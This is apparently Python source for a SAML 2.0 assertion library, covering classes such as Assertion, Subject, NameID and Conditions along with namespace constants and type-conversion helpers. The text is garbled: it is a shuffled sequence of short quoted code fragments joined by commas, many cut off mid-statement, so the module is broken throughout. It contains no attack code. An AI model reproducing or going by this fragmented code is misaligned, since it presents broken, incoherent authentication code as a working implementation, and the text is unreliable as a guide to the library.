= ('resource', 'anyURI', True) c_attributes['Decision'] = ('decision',", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier class NameIDType_(SamlBase):", "a <Subject> offers the ability to provide name identifiers in", "'type': int, 'to_type': int, 'to_text': _str, }, 'short': { 'type':", "a Subject\") return SamlBase.verify(self) def assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_, xml_string) class", "can be found at: # https://wiki.oasis-open.org/security/FrontPage # # saml core", "XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' # xml soap namespace NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\"", "XSI_TYPE = '{%s}type' % XSI_NAMESPACE # nil type definition for", "before type-checking if type(value) is _str and valid_type is not", "StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = ( 'attribute', [Attribute]) c_cardinality['attribute']", "c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = ( 'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data'] = {\"min\": 0,", "'EvidenceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement, xml_string) class SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\"", "[] self.audience_restriction = audience_restriction or [] self.one_time_use = one_time_use or", "available specifications can be found at: # https://wiki.oasis-open.org/security/FrontPage # #", "uri format NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based format NAME_FORMAT_BASIC =", "CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent has been obtained explicitly CONSENT_EXPLICIT", "= ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 1}", "= SubjectConfirmationType_.c_child_order[:] c_cardinality = SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string)", "ds from saml2 import xmlenc as xenc # authentication information", "def conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_, xml_string) class AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element", "type_to_xsd = { _str: 'string', int: 'integer', float: 'float', bool:", "authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "be found at: # if any question arise please query", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer',", "c_cardinality = SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue, xml_string) class EncryptedAttribute(EncryptedElementType_):", "return saml2.create_class_from_xml_string(BaseID, xml_string) class NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element From the", "c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False)", "c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) c_any = {\"namespace\": \"##other\", \"processContents\": \"lax\"}", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string): return", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def audience_from_string(xml_string): return", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info',", "c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order", "xml_string) class SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\" c_tag = 'SubjectLocality'", "DecisionType_, True) c_child_order.extend(['action', 'evidence']) def __init__(self, action=None, evidence=None, resource=None, decision=None,", "_wrong_type_value(xsd=xsd_type, value=value) if type(value) is not valid_type: _wrong_type_value(xsd=xsd_type, value=value) text", "'condition', [Condition]) c_cardinality['condition'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = ( 'audience_restriction',", "element \"\"\" c_tag = 'AttributeStatement' c_namespace = NAMESPACE c_children =", "c_namespace = NAMESPACE c_value_type = {'base': 'NCName'} c_children = SamlBase.c_children.copy()", "namespace def action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_, xml_string) class AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue", "def assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion, xml_string) class AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element", "None else ['', ''] if xsd_string == '' else [", "not have extension attributes\" ) return True else: SamlBase.verify(self) def", "StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement, xml_string) class SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality", "EncryptedElementType_, 'EncryptedID': EncryptedID, 'Issuer': Issuer, 'AssertionIDRef': AssertionIDRef, 'AssertionURIRef': AssertionURIRef, 'Assertion':", "text content text = ( tree.text.strip() if tree.text and self.extension_elements", "subject_confirmation or [] def subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_, xml_string) class Conditions(ConditionsType_):", "'SubjectLocalityType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "resource self.decision = decision def authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class", "element \"\"\" c_tag = 'SubjectConfirmation' c_namespace = NAMESPACE c_children =", "('name_id', NameID) c_cardinality['name_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] =", "import xmldsig as ds from saml2 import xmlenc as xenc", "c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = ( 'subject_confirmation',", "= AuthnContextType_.c_child_order[:] c_cardinality = AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext, xml_string)", "c_tag = 'AuthnContextClassRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'}", "c_attributes['InResponseTo'] = ('in_response_to', 'NCName', False) c_attributes['Address'] = ('address', 'string', False)", "signature=None, subject=None, conditions=None, advice=None, statement=None, authn_statement=None, authz_decision_statement=None, attribute_statement=None, version=None, id=None,", "ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag: advice_from_string, AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag: statement_from_string,", "# - a function to turn that type into a", "if we have added children to this node # we", "[Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice',", "class AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\" c_tag = 'AttributeType' c_namespace", "issue_instant def verify(self): # If no statement MUST contain a", "c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = ( 'action',", "saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\" c_tag =", "contain a subject element if self.attribute_statement or self.statement or \\", "saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\" c_tag =", "NAMESPACE c_value_type = {'base': 'NCName'} c_children = SamlBase.c_children.copy() c_attributes =", "def one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element", "name_id self.encrypted_id = encrypted_id self.subject_confirmation_data = subject_confirmation_data self.method = method", "= \"http://schemas.xmlsoap.org/soap/encoding/\" # type definitions for xmlschemas XSI_TYPE = '{%s}type'", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = ( 'evidence', Evidence) c_cardinality['evidence'] = {\"min\": 0,", "[EncryptedAttribute]) c_cardinality['encrypted_attribute'] = {\"min\": 0} c_child_order.extend(['attribute', 'encrypted_attribute']) def __init__(self, attribute=None,", "NameID.c_tag: name_id_from_string, NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag: issuer_from_string,", "conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag: condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag:", "SamlBase.c_cardinality.copy() class Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\" c_tag = 'Audience'", "'AuthnContext': AuthnContext, 'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl,", "subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag:", "0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority']) def __init__(self, authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None,", "'EncryptedElementType': EncryptedElementType_, 'EncryptedID': EncryptedID, 'Issuer': Issuer, 'AssertionIDRef': AssertionIDRef, 'AssertionURIRef': AssertionURIRef,", "Attribute.c_tag: attribute_from_string, AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string, } ELEMENT_BY_TAG", "element \"\"\" c_tag = 'SubjectLocality' c_namespace = NAMESPACE c_children =", "self.subject_locality = subject_locality self.authn_context = authn_context self.authn_instant = authn_instant self.session_index", "= 'BaseIDAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "subject element if self.attribute_statement or self.statement or \\ self.authn_statement or", "c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID, xml_string) class Issuer(NameIDType_):", "c_cardinality['authz_decision_statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = ( 'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement']", "= ( 'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = ( 'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl']", "encrypted format NAMEID_FORMAT_ENCRYPTED = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc for avaiable", "\"\"\" c_tag = 'AuthnStatement' c_namespace = NAMESPACE c_children = AuthnStatementType_.c_children.copy()", "True) c_attributes['SessionIndex'] = ('session_index', 'string', False) c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after', 'dateTime',", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = ( 'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation']", "'ID', True) c_attributes['IssueInstant'] = ('issue_instant', 'dateTime', True) c_child_order.extend(['issuer', 'signature', 'subject',", "'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_, 'Advice': Advice, 'AdviceType': AdviceType_,", "SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl", "BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType': StatementAbstractType_, } def factory(tag, **kwargs): return", "if text: self.set_text(text) elif not extension_elements: self.extension_attributes = {XSI_NIL: 'true'}", "'to_type': _str, 'to_text': ( lambda x: b64encode(x.encode()) if base64encode else", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier", "if self._extatt: self.extension_attributes = self._extatt if text: self.set_text(text) elif not", "audience or [] def audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class OneTimeUse(OneTimeUseType_):", "c_cardinality['proxy_restriction'] = {\"min\": 0} c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter']", "SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\" c_tag = 'SubjectType' c_namespace =", "context # the specified action is permitted DECISION_TYPE_PERMIT = \"Permit\"", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = ( 'statement', [Statement]) c_cardinality['statement'] =", "no statement MUST contain a subject element\") if self.authn_statement and", "'EncryptedAttribute' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy()", "c_cardinality['subject_confirmation_data'] = {\"min\": 0, \"max\": 1} c_attributes['Method'] = ('method', 'anyURI',", "AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\" c_tag = 'AssertionURIRef' c_namespace =", "= SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class DecisionType_(SamlBase): \"\"\"The", "class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\" c_tag = 'SubjectConfirmation' c_namespace", "the subject is in # custom subject NAMEID_FORMAT_UNSPECIFIED = (", "def advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_, xml_string) class Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element", "conditions_type__from_string, Condition.c_tag: condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag: audience_from_string, OneTimeUse.c_tag:", "urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\" c_tag = 'BaseID' c_namespace = NAMESPACE c_children", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue, xml_string) class", "# xml soap namespace NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\" # type definitions", "class AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\" c_tag = 'AssertionIDRef' c_namespace", "c_tag = 'SubjectConfirmationData' c_namespace = NAMESPACE c_children = SubjectConfirmationDataType_.c_children.copy() c_attributes", "\"\"\" c_tag = 'AttributeType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "= {\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = ( 'evidence', Evidence) c_cardinality['evidence'] =", "and value do not match: {xsd}:{type}:{value}' msg = msg.format(xsd=xsd, type=type(value),", "key == \"text\": self.set_text(value) else: SamlBase.__setattr__(self, key, value) def verify(self):", "c_cardinality = OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse, xml_string) class ProxyRestriction(ProxyRestrictionType_):", "self.authn_statement or self.authz_decision_statement: pass elif not self.subject: raise MustValueError( \"If", "AdviceType_.c_children.copy() c_attributes = AdviceType_.c_attributes.copy() c_child_order = AdviceType_.c_child_order[:] c_cardinality = AdviceType_.c_cardinality.copy()", "= encrypted_assertion or [] def evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_, xml_string) class", "c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion']", "= {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, not_before=None, not_on_or_after=None, recipient=None,", "- a function to turn that type into a text-value", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\" c_tag = 'ConditionsType' c_namespace = NAMESPACE", "arise please query the following pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The", "EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID", "self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if xsd_ns else xsd_type if xsd_type else", "authz_decision_statement=None, attribute_statement=None, version=None, id=None, issue_instant=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "SAML attributes PROFILE_ATTRIBUTE_BASIC = ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an AuthnRequest is", "self.issue_instant = issue_instant def verify(self): # If no statement MUST", "turn that type into a text-value xsd_types_props = { 'string':", "NAME_FORMATS_SAML2 = ( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), )", "\"\"\" c_tag = 'AssertionIDRef' c_namespace = NAMESPACE c_value_type = {'base':", "( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT',", "a set of rules describing how to embed SAML assertions.", "SubjectLocalityType_.c_attributes.copy() c_child_order = SubjectLocalityType_.c_child_order[:] c_cardinality = SubjectLocalityType_.c_cardinality.copy() def verify(self): if", "'SubjectConfirmationType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "'AssertionType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) def __init__(self,", "c_children = ProxyRestrictionType_.c_children.copy() c_attributes = ProxyRestrictionType_.c_attributes.copy() c_child_order = ProxyRestrictionType_.c_child_order[:] c_cardinality", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class", "int, 'to_type': int, 'to_text': _str, }, 'int': { 'type': int,", "Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\" c_tag = 'Assertion' c_namespace =", "= AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #.................. # ['Assertion',", "python # # Generated Mon May 2 14:23:33 2011 by", "specifications can be found at: # https://wiki.oasis-open.org/security/FrontPage # # saml", "float, 'to_text': _str, }, 'double': { 'type': float, 'to_type': float,", "extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience", "= ('count', 'nonNegativeInteger', False) c_child_order.extend(['audience']) def __init__(self, audience=None, count=None, text=None,", "match: {xsd}:{type}:{value}' msg = msg.format(xsd=xsd, type=type(value), value=value) raise ValueError(msg) #", "c_attributes['DNSName'] = ('dns_name', 'string', False) def __init__(self, address=None, dns_name=None, text=None,", "( 'authn_context', AuthnContext) c_attributes['AuthnInstant'] = ('authn_instant', 'dateTime', True) c_attributes['SessionIndex'] =", "NAMESPACE c_children = AttributeStatementType_.c_children.copy() c_attributes = AttributeStatementType_.c_attributes.copy() c_child_order = AttributeStatementType_.c_child_order[:]", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] =", "'signature', 'subject', 'conditions', 'advice', 'statement', 'authn_statement', 'authz_decision_statement', 'attribute_statement']) def __init__(self,", "verify(self): # If no statement MUST contain a subject element", "text or self.extension_elements: if XSI_NIL in self.extension_attributes: del self.extension_attributes[XSI_NIL] class", "= SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\" c_tag =", "AuthnContext) c_attributes['AuthnInstant'] = ('authn_instant', 'dateTime', True) c_attributes['SessionIndex'] = ('session_index', 'string',", "= format self.sp_provided_id = sp_provided_id def name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_, xml_string)", "# a bearer token is issued instead. SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\"", "over tls/https AUTHN_PASSWORD_PROTECTED = \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute statements is", "'anyURI', False) c_attributes['FriendlyName'] = ('friendly_name', 'string', False) c_child_order.extend(['attribute_value']) c_any_attribute =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\" c_tag = 'Conditions' c_namespace = NAMESPACE", "self._extatt[XSI_TYPE] = typ if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\" c_tag = 'SubjectType' c_namespace = NAMESPACE", "c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order", "AdviceType_.c_attributes.copy() c_child_order = AdviceType_.c_child_order[:] c_cardinality = AdviceType_.c_cardinality.copy() def advice_from_string(xml_string): return", "'AuthnStatement' c_namespace = NAMESPACE c_children = AuthnStatementType_.c_children.copy() c_attributes = AuthnStatementType_.c_attributes.copy()", "not _str: try: value = to_type(value) except (TypeError, ValueError, KeyError):", "c_attributes = BaseIDAbstractType_.c_attributes.copy() c_child_order = BaseIDAbstractType_.c_child_order[:] c_cardinality = BaseIDAbstractType_.c_cardinality.copy() def", "xml_string) class BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\" c_tag = 'BaseID'", "PROFILE_ATTRIBUTE_BASIC = ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an AuthnRequest is made to", "request with login credentials AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate the", "( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation']", "AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\" c_tag = 'AuthzDecisionStatement' c_namespace =", "c_namespace = NAMESPACE c_children = AssertionType_.c_children.copy() c_attributes = AssertionType_.c_attributes.copy() c_child_order", "def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = ( 'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl'] = {\"min\": 0, \"max\":", "xenc # authentication information fields NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema", "AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\" c_tag = 'AuthnContextDecl' c_namespace =", "builtin attributes XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' # xml soap namespace NS_SOAP_ENC", "def __init__(self, text=None, extension_elements=None, extension_attributes=None): self._extatt = {} SamlBase.__init__(self, text=None,", "to this node # remove the nil marker if text", "of available specifications can be found at: # https://wiki.oasis-open.org/security/FrontPage #", "\"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri format NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based format", "__init__(self, name_qualifier=None, sp_name_qualifier=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "{\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, not_before=None, not_on_or_after=None, recipient=None, in_response_to=None,", "('id', 'ID', True) c_attributes['IssueInstant'] = ('issue_instant', 'dateTime', True) c_child_order.extend(['issuer', 'signature',", "authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string, Action.c_tag: action_from_string, ActionType_.c_tag:", "extension_attributes=extension_attributes) self.condition = condition or [] self.audience_restriction = audience_restriction or", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.address = address self.dns_name = dns_name def", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\" c_tag = 'AttributeStatement' c_namespace = NAMESPACE", "encrypted_key=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data =", "conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions, xml_string) class AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\"", "else str if isinstance(value, six.binary_type): value = value.decode('utf-8') type_to_xsd =", "def attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute, xml_string) class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element", "name_id_from_string, NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag:", "'double': { 'type': float, 'to_type': float, 'to_text': _str, }, 'boolean':", "assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The specification was later updated with", "x, 'to_text': lambda x: x, }, '': { 'type': type(None),", "urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\" c_tag = 'SubjectConfirmationData' c_namespace = NAMESPACE c_children", "AuthzDecisionStatementType_.c_children.copy() c_attributes = AuthzDecisionStatementType_.c_attributes.copy() c_child_order = AuthzDecisionStatementType_.c_child_order[:] c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy()", "authority's decision can be predetermined by arbitrary context # the", "attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\"", "and expect to not have actual text content text =", "\"Attribute value base should not have extension attributes\" ) if", "# remove the nil marker if text or self.extension_elements: if", "Conditions) c_cardinality['conditions'] = {\"min\": 0, \"max\": 1} c_cardinality['advice'] = {\"min\":", "c_child_order = AttributeType_.c_child_order[:] c_cardinality = AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute,", "'assertion', 'encrypted_assertion']) c_any = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self,", "ActionType_, 'Evidence': Evidence, 'EvidenceType': EvidenceType_, 